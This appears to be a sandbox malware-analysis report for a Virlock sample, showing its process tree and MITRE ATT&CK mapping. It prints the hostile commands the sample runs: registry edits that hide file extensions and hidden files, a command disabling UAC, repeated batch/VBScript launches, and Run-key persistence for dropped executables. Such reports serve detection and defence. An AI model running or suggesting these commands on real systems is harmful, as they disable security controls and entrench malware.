                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tuoUQIcI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                24⤵
                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                PID:4612
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                  25⤵
                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                  PID:4932
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                            22⤵
                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                            PID:2328
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                            22⤵
                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                            PID:4868
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                            22⤵
                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                            PID:5380
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\NisUcgwM.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                            22⤵
                                                                                                                                                                                                                                                                                                                                              PID:4972
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                23⤵
                                                                                                                                                                                                                                                                                                                                                • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                PID:4712
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                          20⤵
                                                                                                                                                                                                                                                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                          PID:1880
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                          20⤵
                                                                                                                                                                                                                                                                                                                                            PID:3448
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                            20⤵
                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                            PID:3048
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\NmYUcAwY.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                            20⤵
                                                                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                            PID:4668
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                              21⤵
                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                              PID:704
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                        18⤵
                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                        PID:5268
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                        18⤵
                                                                                                                                                                                                                                                                                                                                          PID:436
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                            19⤵
                                                                                                                                                                                                                                                                                                                                              PID:4892
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                            18⤵
                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                            PID:4992
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\QEMMYEcg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                            18⤵
                                                                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                            PID:3704
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                              19⤵
                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                              PID:1288
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                        16⤵
                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                        PID:4728
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                        16⤵
                                                                                                                                                                                                                                                                                                                                          PID:1376
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                          PID:2640
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CycssoAI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                          16⤵
                                                                                                                                                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                          PID:5508
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                            17⤵
                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                            PID:3736
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                      14⤵
                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                      PID:3268
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                      14⤵
                                                                                                                                                                                                                                                                                                                                        PID:1364
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                        PID:5036
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\smMkcMgw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                        14⤵
                                                                                                                                                                                                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                        PID:4752
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                          15⤵
                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                          PID:296
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                    PID:4552
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                    12⤵
                                                                                                                                                                                                                                                                                                                                      PID:1988
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                      PID:4588
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\VwgIgEgc.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                      PID:4852
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                        13⤵
                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                        PID:5260
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                  PID:4560
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                                                                                                    PID:2932
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                    PID:2412
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JYgQMwAM.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                    PID:4384
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                      PID:5092
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                PID:3896
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                PID:2428
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                PID:4772
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\bUkscokM.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                                PID:2468
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                  PID:1180
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                            PID:4272
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                            PID:5044
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                            PID:1336
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\kaQUYIoI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                            PID:5532
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                              PID:5592
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                        PID:4080
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                          PID:3476
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                          PID:3736
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\qwcUUscs.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                          PID:2488
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                            PID:4892
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                      PID:1688
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                      PID:916
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                      PID:4656
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KkIgMAoE.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                      PID:4460
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                        PID:3012
                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\VUwoEUsY\bwcQIUAk.exe
                                                                                                                                                                                                                                                                                                                    C:\ProgramData\VUwoEUsY\bwcQIUAk.exe
                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                    PID:2076
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\bOYMkcok\nawsUsEU.exe
                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\bOYMkcok\nawsUsEU.exe
                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                    PID:2924
                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\JWgIAsIY\SCkEkkoQ.exe
                                                                                                                                                                                                                                                                                                                    C:\ProgramData\JWgIAsIY\SCkEkkoQ.exe
                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                    PID:3424

                                                                                                                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                                                                                                                        MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                        Reconnaissance

                                                                                                                                                                                                                                                                                                                        Resource Development

                                                                                                                                                                                                                                                                                                                        Initial Access

                                                                                                                                                                                                                                                                                                                        Execution

                                                                                                                                                                                                                                                                                                                        Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                        T1059

                                                                                                                                                                                                                                                                                                                        Visual Basic

                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                        T1059.005

                                                                                                                                                                                                                                                                                                                        Windows Command Shell

                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                        T1059.003

                                                                                                                                                                                                                                                                                                                        Persistence

                                                                                                                                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                        T1547

                                                                                                                                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                                                                                                                                        Privilege Escalation

                                                                                                                                                                                                                                                                                                                        Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                        T1548

                                                                                                                                                                                                                                                                                                                        Bypass User Account Control

                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                        T1548.002

                                                                                                                                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                        T1547

                                                                                                                                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                                                                                                                                        Defense Evasion

                                                                                                                                                                                                                                                                                                                        Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                        T1548

                                                                                                                                                                                                                                                                                                                        Bypass User Account Control

                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                        T1548.002

                                                                                                                                                                                                                                                                                                                        Hide Artifacts

                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                        T1564

                                                                                                                                                                                                                                                                                                                        Hidden Files and Directories

                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                        T1564.001

                                                                                                                                                                                                                                                                                                                        Impair Defenses

                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                        T1562

                                                                                                                                                                                                                                                                                                                        Disable or Modify Tools

                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                        T1562.001

                                                                                                                                                                                                                                                                                                                        Modify Registry

                                                                                                                                                                                                                                                                                                                        4
